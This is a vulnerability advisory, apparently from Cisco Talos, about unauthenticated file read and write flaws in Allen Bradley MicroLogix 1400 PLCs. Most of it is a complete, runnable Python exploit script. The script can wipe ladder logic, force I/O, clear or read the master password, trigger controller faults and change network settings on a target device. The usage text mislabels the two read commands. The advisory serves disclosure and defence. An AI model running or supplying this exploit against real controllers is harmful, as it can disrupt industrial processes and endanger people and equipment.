CVE-2017-14462, CVE-2017-14463, CVE-2017-14464, CVE-2017-14465, CVE-2017-14466, CVE-2017-14467, CVE-2017-14468, CVE-2017-14469, CVE-2017-14470, CVE-2017-14471, CVE-2017-14472, CVE-2017-14473
An exploitable access control vulnerability exists in the data, program, and function file permissions functionality of Allen Bradley Micrologix 1400 Series B FRN 21.2 and before. A specially crafted packet can cause a read or write operation resulting in disclosure of sensitive information, modification of settings, or modification of ladder logic. An attacker can send unauthenticated packets to trigger this vulnerability.
Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15
http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400
10 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE-284: Improper Access Control
Numerous files within the PLC contain permissions that allow for read and/or write access by unauthenticated users. With this access it is possible to do things such as change ladder logic, insert invalid values, trigger device faults, determine the master password and read the PLC’s ladder logic. This can be accomplished through use of CIP encapsulated PCCC commands using any of the function codes associated with reading to a file (0xa1, 0xa2) or writing to a file (0xa7, 0xa9, 0xaa, 0xab).
Below is a description of notable discovered exploitable conditions.
Required Keyswitch State: REMOTE or PROG (also RUN for some) Description: Allows an attacker to enable SNMP, Modbus, DNP, and any other features in the channel configuration. Also allows attackers to change network parameters, such as IP address, name server, and domain name.
Required Keyswitch State: REMOTE or PROG Associated Fault Code: 0012 Fault Type: Non-User Description: A fault state can be triggered by overwriting the ladder logic data file (type 0x22 number 0x02) with null values.
Required Keyswitch State: REMOTE or PROG Associated Fault Code: 0001 Fault Type: Non-User Description: A fault state can be triggered by setting the NVRAM/memory module user program mismatch bit (S2:9) when a memory module is NOT installed.
Required Keyswitch State: REMOTE Description: Any input or output can be forced, causing unpredictable activity from the PLC.
Required Keyswitch State: REMOTE or PROG Description: The filetype 0x03 allows users write access, allowing the ability to overwrite the Master Password value stored in the file.
Required Keyswitch State: REMOTE Description: Live rung edits are able to be made by an unauthenticated user allowing for addition, deletion, or modification of existing ladder logic. Additionally, faults and cpu state modification can be triggered if specific ladder logic is used.
Required Keyswitch State: REMOTE or PROG Description: This ability is leveraged in a larger exploit to flash custom firmware
Required Keyswitch State: REMOTE or PROG Associated Fault Code: 0028 Fault Type: Non-User Description: Values 0x01 and 0x02 are invalid values for the user fault routine. By writing directly to the file it is possible to set these values. When this is done and the device is moved into a run state, a fault is triggered. NOTE: This is not possible through RSLogix.
Required Keyswitch State: REMOTE or PROG or RUN Description: The value 0xffffffff is considered NaN for the Float data type. When a float is set to this value and used in the PLC, a fault is triggered. NOTE: This is not possible through RSLogix.
Required Keyswitch State: REMOTE or PROG Associated Fault Codes: 0023, 002e, and 0037 Fault Type: Recoverable Description: The STI, EII, and HSC function files contain bits signifying whether or not a fault has occurred. Additionally there is a bit signaling the module to auto start. When these bits are set for any of the three modules and the device is moved into a run state, a fault is triggered.
Required Keyswitch State: Any Description: Requests a specific set of bytes from an undocumented data file and returns the ASCII version of the master password
Required Keyswitch State: Any Description: Reads the encoded ladder logic from its data file and print it out in HEX
PoCs for each of the above documented elements are grouped into the below script. Follow the usage guidance below or that contained within the script and choose the command associated with the condition you want to cause.
Usage: python
Valid Write Commands: enable_snmp : enables SNMP server set_ip_addr : sets the ip address to the defined value overwrite_logic : overwrites all ladder logic with null bytes nvram_fault : triggers fault code 0001 force_output : forces O0:0/0 on force_input : forces I1:0/0 on clear_master_password : sets the master password to all null values online_edit : modifies ladder logic to perform a divide by 0 load_mem_module_on_err : sets S2:1/10 allowing program load from EEPROM fault_routine_fault : sets the fault routine to an invalid value (0x01) write_float_nan : sets F8:0/0 to NaN (0xffffffff), causing a fault invalid_hsc_fault : sets the ‘Auto Start’ and ‘Error Detected’ bit invalid_sti_fault : sets the ‘Auto Start’ and ‘Error Detected’ bit invalid_eii_fault : sets the ‘Auto Start’ and ‘Error Detected’ bit
Valid Read Commands: read_ladder_logic : returns the master password in ASCII read_master_password : returns the encoded ladder logic in HEX
import argparse
import socket
import binascii
import random
import crcmod.predefined
def print_help():
print ""
print " Micrologix 1400 Series B - Unauthenticated File Access PoC"
print ""
print " usage: python unauthenticated_file_access.py -i <ip_addr> [-p <port>] -c <command>"
print ""
print ""
print " valid write commands:"
print ""
print " enable_snmp : enables SNMP server"
print " set_ip_addr : sets the ip address to the defined value"
print " overwrite_logic : overwrites all ladder logic with null bytes"
print " nvram_fault : triggers fault code 0001"
print " force_output : forces O0:0/0 on"
print " force_input : forces I1:0/0 on"
print " clear_master_password : sets the master password to all null values"
print " online_edit : modifies ladder logic to perform a divide by 0"
print " load_mem_module_on_err : sets S2:1/10 allowing program load from EEPROM"
print " fault_routine_fault : sets the fault routine to an invalid value (0x01)"
print " write_float_nan : sets F8:0/0 to NaN (0xffffffff), causing a fault"
print " invalid_hsc_fault : sets the 'Auto Start' and 'Error Detected' bit"
print " invalid_sti_fault : sets the 'Auto Start' and 'Error Detected' bit"
print " invalid_eii_fault : sets the 'Auto Start' and 'Error Detected' bit"
print ""
print ""
print " valid read commands:"
print ""
print " read_ladder_logic : returns the master password in ASCII"
print " read_master_password : returns the encoded ladder logic in HEX"
print ""
print ""
exit()
def pad_hex(hex_str, size):
if "0x" in hex_str: hex_str = "".join(hex_str.split("0x"))
if len(hex_str) != size:
numzeros = size - len(hex_str)
zeros = "0"*numzeros
hex_str = "%s%s" % (zeros, hex_str)
return hex_str
def pad_byte(byte_str):
if len(byte_str) < 8:
num_zeros = 8 - len(byte_str)
padding = "0"*num_zeros
byte_str = "%s%s" % (padding, byte_str)
return byte_str
def split_hex(hex_str):
return list(map(''.join, zip(*[iter(hex_str)]*2)))
def get_crc(raw_instruction):
instruction = ""
if "\x10\x02" in raw_instruction: instruction = raw_instruction.replace("\x10\x02", "").strip().replace("\x10\x03", "\x03")
else: instruction = raw_instruction
if "\x10\x10" in instruction: instruction = instruction.replace("\x10\x10","\x10")
crc16_func = crcmod.predefined.mkCrcFun('crc-16')
computed_crc = pad_hex(hex(crc16_func(instruction)).split("0x")[1], 4)
crc_value = "%s%s" % (computed_crc[2:4], computed_crc[0:2])
return crc_value
def get_tns():
temp_tns = pad_hex(hex(int(random.random()*65535)).replace("0x",""), 4)
tns = binascii.unhexlify(temp_tns)
return tns
def parse_response(response):
if len(response) <= 8: clean_exit("error in response. exiting...")
clean_response = {}
response = binascii.hexlify(response)
clean_response['session_handle'] = response[8:16]
clean_response['resp_data'] = list(map(''.join, zip(*[iter(response[110:])]*2)))
clean_response['ascii_resp_data'] = []
for item in clean_response['resp_data']:
charcode = int(item, 16)
if charcode > 32 and charcode < 127: clean_response['ascii_resp_data'].append(chr(charcode))
else: clean_response['ascii_resp_data'].append("_")
return clean_response
def build_eth_instruction(instruction_elements, session_handle):
command_code = "\x6f\x00"
status = "\x00\x00\x00\x00"
sender_context = "\x00\x00\x00\x01\x00\x28\x1e\x4d"
options = "\x00\x00\x00\x00"
handle = "\x00\x00\x00\x00"
timeout = "\x00\x00"
num_items = "\x02\x00"
addr_data_type = "\x00\x00"
addr_data_length = "\x00\x00"
data_data_type = "\xb2\x00"
service_code = "\x4b"
size_req_path = "\x02"
req_path = "\x20\x67\x24\x01"
length_req_id = "\x07"
cip_vendor_id = "\x01\x00"
cip_ser_num = "\xf2\x0c\x02\x00"
cmd = instruction_elements['cmd']
sts = "\x00"
tns = get_tns()
fnc = instruction_elements['fnc']
data = instruction_elements['data']
pccc_cmd = "%s%s%s%s%s" % (cmd, sts, tns, fnc, data)
data_data_length = len(service_code) + len(size_req_path) + len(req_path) + len(length_req_id) + len(cip_vendor_id) + len(cip_ser_num) + len(pccc_cmd)
data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length + 16)[2:])
data_data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length)[2:])
payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (command_code, data_length, session_handle, status, sender_context, options, handle, timeout, num_items, addr_data_type, addr_data_length, data_data_type, data_data_length, service_code, size_req_path, req_path, length_req_id, cip_vendor_id, cip_ser_num, pccc_cmd)
return payload
def send_instruction(instruction_elements,session_handle):
return_response = ""
instruction = build_eth_instruction(instruction_elements, session_handle)
sock.send(instruction)
return_response = sock.recv(1024)
return return_response
def get_channel_config(session_handle):
channel_config_1 = {"cmd":"\x0f","fnc":"\xa2","data":"\x50\x01\x49\x00\x00"}
channel_config_2 = {"cmd":"\x0f","fnc":"\xa2","data":"\x50\x01\x49\x00\x28"}
channel_config_resp = parse_response(send_instruction(channel_config_1, session_handle))['resp_data']
channel_config_resp += parse_response(send_instruction(channel_config_2, session_handle))['resp_data']
channel_config= {}
channel_config['full'] = channel_config_resp
channel_config['ip_addr'] = channel_config_resp[38:42]
channel_config['netmask'] = channel_config_resp[42:46]
channel_config['gateway'] = channel_config_resp[46:50]
channel_config['domain_name_mystery'] = channel_config_resp[50:54]
channel_config['primary_dns'] = channel_config_resp[54:58]
channel_config['secondary_dns'] = channel_config_resp[58:62]
channel_config['protocol_control_byte'] = channel_config_resp[127]
return channel_config
def modify_channel_config(param, mod_element, channel_config, channel_config_header):
ip_addr_index = 38
protocol_control_byte_index = 127
crc_index = 134
packet_split_index = 80
if param == "enable_snmp":
protocol_control_byte = channel_config['full'][protocol_control_byte_index]
protocol_control_byte_bin = bin(int(protocol_control_byte, 16))[2:]
protocol_control_byte_bin = pad_byte(protocol_control_byte_bin)
protocol_control_byte_bin = list(protocol_control_byte_bin)
protocol_control_byte_bin[6] = "1"
protocol_control_byte = "".join(protocol_control_byte_bin)
protocol_control_byte = hex(int(protocol_control_byte, 2)).split("0x")[1]
protocol_control_byte = pad_hex(protocol_control_byte, 2)
channel_config['full'][protocol_control_byte_index] = protocol_control_byte
elif param == "set_ip_addr":
working_index = ip_addr_index
addr = mod_element.split(".")
reordered_addr = []
reordered_addr.append(addr[1])
reordered_addr.append(addr[0])
reordered_addr.append(addr[3])
reordered_addr.append(addr[2])
for i in range(0, len(reordered_addr)):
reordered_addr[i] = pad_hex(hex(int(reordered_addr[i],10)), 2)
channel_config['full'][working_index:working_index+4] = reordered_addr
if working_index == "": clean_exit()
crc = get_crc(binascii.unhexlify("".join(channel_config['full'][:crc_index])))
crc = list(map(''.join, zip(*[iter(crc)]*2)))
channel_config['full'][crc_index] = crc[0]
channel_config['full'][crc_index+1] = crc[1]
payload = {}
payload['first'] = binascii.unhexlify("".join(channel_config['full'][:packet_split_index]))
payload['second'] = binascii.unhexlify("".join(channel_config['full'][packet_split_index:packet_split_index*2]))
modified_channel_config_data_1 = "%s%s%s%s%s%s" % ( channel_config_header['byte_size'], channel_config_header['file_number'], channel_config_header['file_type'], channel_config_header['element_number'], channel_config_header['sub_element_number1'], payload['first'])
modified_channel_config_data_2 = "%s%s%s%s%s%s" % ( channel_config_header['byte_size'], channel_config_header['file_number'], channel_config_header['file_type'], channel_config_header['element_number'], channel_config_header['sub_element_number2'], payload['second'])
modified_channel_config = []
modified_channel_config.append({"cmd":"\x0f","fnc":"\xaa","data":modified_channel_config_data_1})
modified_channel_config.append({"cmd":"\x0f","fnc":"\xaa","data":modified_channel_config_data_2})
return modified_channel_config
def read_file(length,fileno,filetype,element,subelement, session_handle):
data = "%s%s%s%s%s" % (length,fileno,filetype,element,subelement)
payload = {"cmd":"\x0f","fnc":"\xa2","data":data}
resp = binascii.hexlify(send_instruction(payload,session_handle))[102:]
resp = split_hex(resp)
return resp
def program_register(register_data_array, session_handle):
unknown_programming_requirement = {"cmd":"\x0f","fnc":"\x88","data":"\x02\x0c\xaa\x06\x00\x63\x00\x00\x08\x91\x00\x00\x83\xf1\x01\x56"}
get_edit_resource = {"cmd":"\x0f","fnc":"\x11","data":""}
download_complete = {"cmd":"\x0f","fnc":"\x52","data":""}
apply_port_config = {"cmd":"\x0f","fnc":"\x8f","data":"\x00\x00\x00"}
return_edit_resource = {"cmd":"\x0f","fnc":"\x12","data":""}
if not isinstance(register_data_array, list): register_data_array = [register_data_array]
set_cpu_state("prog", session_handle)
send_instruction(unknown_programming_requirement, session_handle)
send_instruction(get_edit_resource, session_handle)
for packet in register_data_array: split_hex(binascii.hexlify(send_instruction(packet, session_handle))[102:])
send_instruction(download_complete, session_handle)
send_instruction(apply_port_config, session_handle)
send_instruction(return_edit_resource, session_handle)
def enumerate_file(fileno, filetype, subelement, session_handle):
filedata = []
length = "\x02"
for i in range(0,256):
element = binascii.unhexlify(pad_hex(hex(i),2))
resp = read_file(length,fileno,filetype,element,subelement, session_handle)
if resp[1] == "00":
for item in resp[4:]:
filedata.append(item)
length = len(filedata)
return length
def set_cpu_state(state, session_handle):
payload = ""
if state == "run": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x06"}
elif state == "prog": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x01"}
send_instruction(payload, session_handle)
def register_session():
registersession_data = "\x65\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x28\x1e\x4d\x00\x00\x00\x00\x01\x00\x00\x00"
sock.send(registersession_data)
reg_session_response = binascii.hexlify(sock.recv(28))
session_handle = binascii.unhexlify(reg_session_response[8:16])
return session_handle
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="target ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=44818, type=int)
parser.add_argument("-c", "--command", help="command to run", type=str)
args = parser.parse_args()
dst = args.ipaddr
port = args.port
param = args.command
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((dst, port))
session_handle = register_session()
if param == "enable_snmp" or param == "set_ip_addr":
mod_element = ""
new_ip_addr = "10.0.0.2"
channel_config = get_channel_config(session_handle)
channel_config_header = {"byte_size":"\x50", "file_number":"\x01", "file_type":"\x49", "element_number":"\x00", "sub_element_number1":"\x00", "sub_element_number2":"\x28"}
if param == "set_ip_addr": mod_element = new_ip_addr
channel_config = modify_channel_config(param, mod_element, channel_config, channel_config_header)
program_register(channel_config,session_handle)
elif param == "overwrite_logic":
fileno = "\x02"
filetype = "\x22"
subelement = "\x00"
element = "\x00"
length = enumerate_file(fileno, filetype, subelement, session_handle)
content = "\x00" * length
length = binascii.unhexlify(pad_hex(hex(length)[2:],2))
data = "%s%s%s%s%s%s" % (length, fileno, filetype, element, subelement, content)
payload = {"cmd":"\x0f","fnc":"\xaa","data":data}
program_register(payload, session_handle)
elif param == "trigger_nvram_fault":
payload = {"cmd":"\x0f","fnc":"\xaa","data":"\x02\x02\x84\x02\x00\x00\x02"}
program_register(payload, session_handle)
set_cpu_state("run",session_handle)
elif param == "force_output" or param == "force_input":
set_force_bits_byte_size = "\x02"
set_force_bits_file_no = "\x02"
set_force_bits_file_type = "\x84"
set_force_bits_element_no = "\x00"
set_force_bits_sub_element_no = "\x01"
set_force_bits_payload = "\x66\x00"
set_force_bits_data = "%s%s%s%s%s%s" % (set_force_bits_byte_size, set_force_bits_file_no, set_force_bits_file_type, set_force_bits_element_no, set_force_bits_sub_element_no, set_force_bits_payload)
set_force_bits = {"cmd":"\x0f","fnc":"\xaa","data":set_force_bits_data}
program_register(set_force_bits, session_handle)
force_output = {"cmd":"\x0f","fnc":"\xab","data":"\x04\x00\xa1\x00\x00\x01\x00\x01\x00\x01\x00"}
force_input = {"cmd":"\x0f","fnc":"\xab","data":"\x04\x01\xa2\x00\x00\x01\x00\x01\x00\x01\x00"}
if param == "force_output": send_instruction(force_output, session_handle)
elif param == "force_input": send_instruction(force_input, session_handle)
set_cpu_state('run',session_handle)
elif param == "clear_master_password":
byte_size = "\x0a"
file_no = "\x00"
file_type = "\x03"
element_no = "\x00"
sub_element_no = "\x10"
new_master_pass = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data = "%s%s%s%s%s%s" % (byte_size, file_no, file_type, element_no, sub_element_no, new_master_pass)
set_master_password = {"cmd":"\x0f","fnc":"\xaa","data":data}
program_register(set_master_password, session_handle)
elif param == "online_edit":
fault_list = [
{"cmd":"\x0f","fnc":"\xa9","data":"\x06\x00\x65\x00\x01\x01\x01\x00\x11\x00"}, # something similar to get edit resource
{"cmd":"\x0f","fnc":"\xa9","data":"\x2a\x00\x65\x00\x01\x01\x02\x02\x90\x20\x02\x00\x1c\x00\x68\x01\x89\x18\x1c\x00\xa8\x00\x16\x00\x81\x07\xb8\x4f\x00\x00\x85\x08\xbe\x4f\x00\x00\x81\x07\xb8\x4f\x00\x00\x6d\x02\xef\x98"},
{"cmd":"\x0f","fnc":"\xa9","data":"\x06\x00\x65\x00\x01\x01\x01\x00\x14\x00"},
{"cmd":"\x0f","fnc":"\xa9","data":"\x06\x00\x65\x00\x01\x01\x01\x00\x12\x00"} # something similar to return edit resource
]
set_cpu_state("run",session_handle)
float_0_val_0 = {"cmd":"\x0f","fnc":"\xaa","data":"\x04\x08\x8a\x00\x00\x00\x00\x00\x00"}
send_instruction(float_0_val_0, session_handle)
for instruction in fault_list:
send_instruction(instruction,session_handle)
elif param == "load_mem_module_on_error":
status_byte_size = "\x02"
status_file_no = "\x02"
status_file_type = "\x84"
status_element_no = "\x00"
status_sub_element_no = "\x01"
status_payload = "\x00\x04"
status_data = "%s%s%s%s%s%s" % (status_byte_size, status_file_no, status_file_type, status_element_no, status_sub_element_no, status_payload)
load_mem_module_on_error = {"cmd":"\x0f","fnc":"\xaa","data":status_data}
program_register(load_mem_module_on_error, session_handle)
elif param == "fault_routine_fault":
set_fault_routine = {"cmd":"\x0f","fnc":"\xaa","data":"\x02\x02\x84\x1d\x00\x01\x00"}
set_cpu_state("prog", session_handle)
send_instruction(set_fault_routine,session_handle)
set_cpu_state("run", session_handle)
elif param == "write_float_nan":
float_nan = {"cmd":"\x0f","fnc":"\xaa","data":"\x04\x08\x8a\x00\x00\xff\xff\xff\xff"}
send_instruction(float_nan,session_handle)
elif param == "invalid_hsc_fault":
payload = {"cmd":"\x0f","fnc":"\xab","data":"\x02\x00\xe0\x00\x02\x60\x00\x60\x00"}
set_cpu_state("prog",session_handle)
send_instruction(payload,session_handle)
set_cpu_state("run",session_handle)
elif param == "invalid_sti_fault":
payload = {"cmd":"\x0f","fnc":"\xab","data":"\x02\x00\xe2\x00\x02\x60\x00\x60\x00"}
set_cpu_state("prog",session_handle)
send_instruction(payload,session_handle)
set_cpu_state("run",session_handle)
elif param == "invalid_eii_fault":
payload = {"cmd":"\x0f","fnc":"\xab","data":"\x02\x00\xe3\x00\x02\x60\x00\x60\x00"}
set_cpu_state("prog",session_handle)
send_instruction(payload,session_handle)
set_cpu_state("run",session_handle)
elif param == "read_ladder_logic":
fileno = "\x02"
filetype = "\x22"
element = "\x00"
subelement = "\x00"
length = enumerate_file(fileno, filetype, subelement, session_handle)
length = binascii.unhexlify(pad_hex(hex(length)[2:],2))
resp = read_file(length, fileno, filetype, element, subelement, session_handle)
filedata = []
if resp[1] == "00":
for item in resp[4:]:
filedata.append(item)
print "filetype: 0x%s" % binascii.hexlify(filetype)
print "fileno: 0x%s" % binascii.hexlify(fileno)
print "length: 0x%s" % binascii.hexlify(length)
print ""
print "Encoded Ladder Logic (hex): "
count = 1
for value in filedata:
if count % 16 == 0: print value
else: print value,
count +=1
print ""
print ""
elif param == "read_master_password":
length = "\x0a"
fileno = "\x00"
filetype = "\x03"
element = "\x00"
subelement = "\x10"
resp = read_file(length, fileno, filetype, element, subelement, session_handle)[4:]
master_pass = ["_","_","_","_","_","_","_","_","_","_"]
for i in range(0,len(master_pass)):
if resp[i] != "00": master_pass[i] = binascii.unhexlify(resp[i])
master_pass = "".join(master_pass)
if master_pass == "__________": print "Master Password: <not_set>"
else: print "\nMaster Password: %s" % master_pass
else: print_help()
sock.shutdown(socket.SHUT_RDWR)
sock.close()
2017-09-22 - Vendor Disclosure
2018-03-28D - Public Release
Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos.